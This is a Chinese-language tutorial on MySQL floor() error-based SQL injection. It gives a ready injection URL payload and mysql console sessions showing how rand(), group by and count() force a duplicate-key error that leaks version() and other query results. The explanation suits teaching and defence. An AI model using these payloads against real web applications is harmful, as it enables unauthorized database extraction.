floor报错原理详解
常用floor报错语句:如union联合注入
?id=0' union select count(*),concat_ws('~',version(),floor(rand(0)*2)) as xxx from information_schema.tables group by xxx -- qqq
会出现如下的报错:ERROR 1062 (23000): Duplicate entry ‘5.5.53~1’ for key ‘group_key’。
其他查询将version()换成想要查询的语句即可。
涉及的函数
- rand()函数:随机返回0~1之间的小数。
- floor()函数:向下取整,比如1.314,floor(1.314)为1。
- conact_ws()函数:将括号中的数据用第一个参数连接起来。
- group by子句:分组语句,根据一个或多个列,对结果进行分组,常与聚合函数连用,用来统计。
- as:别名,一般会将一段长的语句进行缩短。
- count()函数:汇总统计数量。
下面了解下各个函数与语句的用法:
rand():
mysql> select rand();
+--------------------+
| rand() |
+--------------------+
| 0.7948578817721995 |
+--------------------+
1 row in set (0.00 sec)
mysql> select rand()*2;
+-------------------+
| rand()*2 |
+-------------------+
| 1.860260257367287 |
+-------------------+
1 row in set (0.00 sec)
mysql> select rand() from security.users; // 根据表中的行数随机显示结果
+---------------------+
| rand() |
+---------------------+
| 0.2660770288352641 |
| 0.5399947888590347 |
| 0.9017428885230263 |
| 0.8887301067716722 |
| 0.7384218990229274 |
| 0.02591920553326533 |
| 0.9143303613311894 |
| 0.49389422078979595 |
| 0.7264800506890565 |
| 0.15071762180953996 |
| 0.5741479877141751 |
| 0.4185871038759007 |
| 0.3704915869706232 |
+---------------------+
13 rows in set (0.00 sec)
floor():
mysql> select floor(1.2);
+------------+
| floor(1.2) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(rand()*2);// *2的原因是,使用floor函数之后,可能出现的结果有两个值0或1
+-----------------+
| floor(rand()*2) |
+-----------------+
| 1 |
+-----------------+
1 row in set (0.00 sec)
mysql> select floor(rand()*2) from security.users; // 每次结果不同
+-----------------+
| floor(rand()*2) |
+-----------------+
| 1 |
| 0 |
| 0 |
| 0 |
| 0 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 0 |
+-----------------+
13 rows in set (0.00 sec)
concat_ws():
mysql> select concat_ws('~',1,2);
+--------------------+
| concat_ws('~',1,2) |
+--------------------+
| 1~2 |
+--------------------+
1 row in set (0.00 sec)
mysql> select concat_ws('~',version(),floor(rand()*2));
+------------------------------------------+
| concat_ws('~',version(),floor(rand()*2)) |
+------------------------------------------+
| 5.5.53~0 |
+------------------------------------------+
1 row in set (0.00 sec)
mysql> select concat_ws('~',version(),floor(rand()*2)) from security.users;
+------------------------------------------+
| concat_ws('~',version(),floor(rand()*2)) |
+------------------------------------------+
| 5.5.53~0 |
| 5.5.53~1 |
| 5.5.53~1 |
| 5.5.53~1 |
| 5.5.53~0 |
| 5.5.53~1 |
| 5.5.53~0 |
| 5.5.53~1 |
| 5.5.53~0 |
| 5.5.53~1 |
| 5.5.53~0 |
| 5.5.53~1 |
| 5.5.53~0 |
+------------------------------------------+
13 rows in set (0.00 sec)
as 别名,group by 分组
mysql> select concat_ws('~',version(),floor(rand()*2)) as xxx from security.users group by xxx; // 使用 group by 对 别名为xxx的字段进行分组
+----------+
| xxx |
+----------+
| 5.5.53~0 |
| 5.5.53~1 |
+----------+
2 rows in set (0.00 sec)
count()函数
汇总统计数量
mysql> select count(*),concat_ws('~',version(),floor(rand()*2)) as xxx from security.users group by xxx;
ERROR 1062 (23000): Duplicate entry '5.5.53~1' for key 'group_key'
mysql> select count(*),concat_ws('~',version(),floor(rand()*2)) as xxx from security.users group by xxx;
ERROR 1062 (23000): Duplicate entry '5.5.53~0' for key 'group_key'
mysql> select count(*),concat_ws('~',version(),floor(rand()*2)) as xxx from security.users group by xxx;
+----------+----------+
| count(*) | xxx |
+----------+----------+
| 6 | 5.5.53~0 |
| 7 | 5.5.53~1 |
+----------+----------+
2 rows in set (0.00 sec)
mysql> select count(*),concat_ws('~',version(),floor(rand()*2)) as xxx from security.users group by xxx;
+----------+----------+
| count(*) | xxx |
+----------+----------+
| 5 | 5.5.53~0 |
| 8 | 5.5.53~1 |
+----------+----------+
2 rows in set (0.00 sec)
偶尔出现报错ERROR 1062 (23000): Duplicate entry ‘5.5.53~1’ for key ‘group_key’。
偶尔出现报错的原因是直接使用rand()
函数,每次执行的结果不同。
每次执行结果不同,不好分析原因,所以在rand()
中加入值,每次执行的结果都相同(计算不在随机,而是按一定顺序排列)。
mysql> select concat_ws('~',database(),floor(rand(1)*2)) from security.users;
+--------------------------------------------+
| concat_ws('~',database(),floor(rand(1)*2)) |
+--------------------------------------------+
| security~0 |
| security~1 |
| security~0 |
| security~0 |
| security~0 |
| security~1 |
| security~1 |
| security~0 |
| security~0 |
| security~0 |
| security~0 |
| security~0 |
| security~1 |
+--------------------------------------------+
13 rows in set (0.00 sec)
// rand(0)永远报错
mysql> select count(*),concat_ws('~',version(),floor(rand(0)*2)) as xxx from security.users group by xxx;
ERROR 1062 (23000): Duplicate entry '5.5.53~1' for key 'group_key'
// rand(1)永远不报错
mysql> select count(*),concat_ws('~',version(),floor(rand(1)*2)) as xxx from security.users group by xxx;
+----------+----------+
| count(*) | xxx |
+----------+----------+
| 8 | 5.5.53~0 |
| 5 | 5.5.53~1 |
+----------+----------+
2 rows in set (0.00 sec)
把count(*)去掉不再报错,说明在统计时出现报错。
mysql> select concat_ws('~',version(),floor(rand(0)*2)) as xxx from security.users group by xxx;
+----------+
| xxx |
+----------+
| 5.5.53~0 |
| 5.5.53~1 |
+----------+
2 rows in set (0.00 sec)
到底是什么原因呢?
floor报错的原因分析
下面了解下group by 结合floor()函数及count()函数的统计流程:
group by与rand()使用时,如果临时表中没有该主键,则在插入前rand()会再计算一次(也就是两次),就是因为此特性,所以引起的主键重复并报错。
因为security.users表中有13条数据,所以生成的数据为13条,其中5.5.53~0
的数量为9,5.5.53~1
的数量为4。
但是,我们通过group by和count()进行统计时,发现数量为8和5,与实际不符。
这是什么原因呢?看如下计算统计流程:
而当rand()中的值为0时,即rand(0)。此时再看一下统计流程:
因为在第3次统计时,想在统计表中存入group_key时,想存5.5.53~0
,但是由于rand()的再次计算,所以真正存入的是5.5.53~1
,而此时统计表中刚好有5.5.53~1
的group_key,所以出现“ERROR 1062 (23000): Duplicate entry ‘5.5.53~1’ for key ‘group_key’”的报错。
报错优化
由于使用rand(0)
时是在第3次统计,第5次计算rand()出现的报错,所以,如果查询的数据表记录不足3条时,其实是不会报错的。
当将security.users的表记录修改为2条时,发现就不会报错了。
mysql> select count(*),concat_ws('~',version(),floor(rand(0)*2)) as xxx from security.users group by xxx;
+----------+----------+
| count(*) | xxx |
+----------+----------+
| 2 | 5.5.53~1 |
+----------+----------+
1 row in set (0.00 sec)
经过测试,当rand(14)和rand(18)时(其他数值请自行测试),2条记录也会报错:
mysql> select count(*),concat_ws('~',version(),floor(rand(14)*2)) as xxx from security.users group by xxx;
ERROR 1062 (23000): Duplicate entry '5.5.53~0' for key 'group_key'
mysql> select count(*),concat_ws('~',version(),floor(rand(18)*2)) as xxx from security.users group by xxx;
ERROR 1062 (23000): Duplicate entry '5.5.53~0' for key 'group_key'
但是当表中只有1条记录呢?这样永远不会报错,所以也可以采用一个更加有效的方法:使用information_schema库中的columns表或者tables表。因为记录肯定不止1条。
mysql> select count(*),concat_ws('~',version(),floor(rand(0)*2)) as xxx from information_schema.columns group by xxx;
ERROR 1062 (23000): Duplicate entry '5.5.53~1' for key 'group_key'
mysql> select count(*),concat_ws('~',version(),floor(rand(0)*2)) as xxx from information_schema.tables group by xxx;
ERROR 1062 (23000): Duplicate entry '5.5.53~1' for key 'group_key'
总结一下
floor()报错注入的原因是group by在向统计表插入数据时,由于rand()多次计算导致插入统计表时主键重复,从而报错。
又因为报错前concat_ws()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。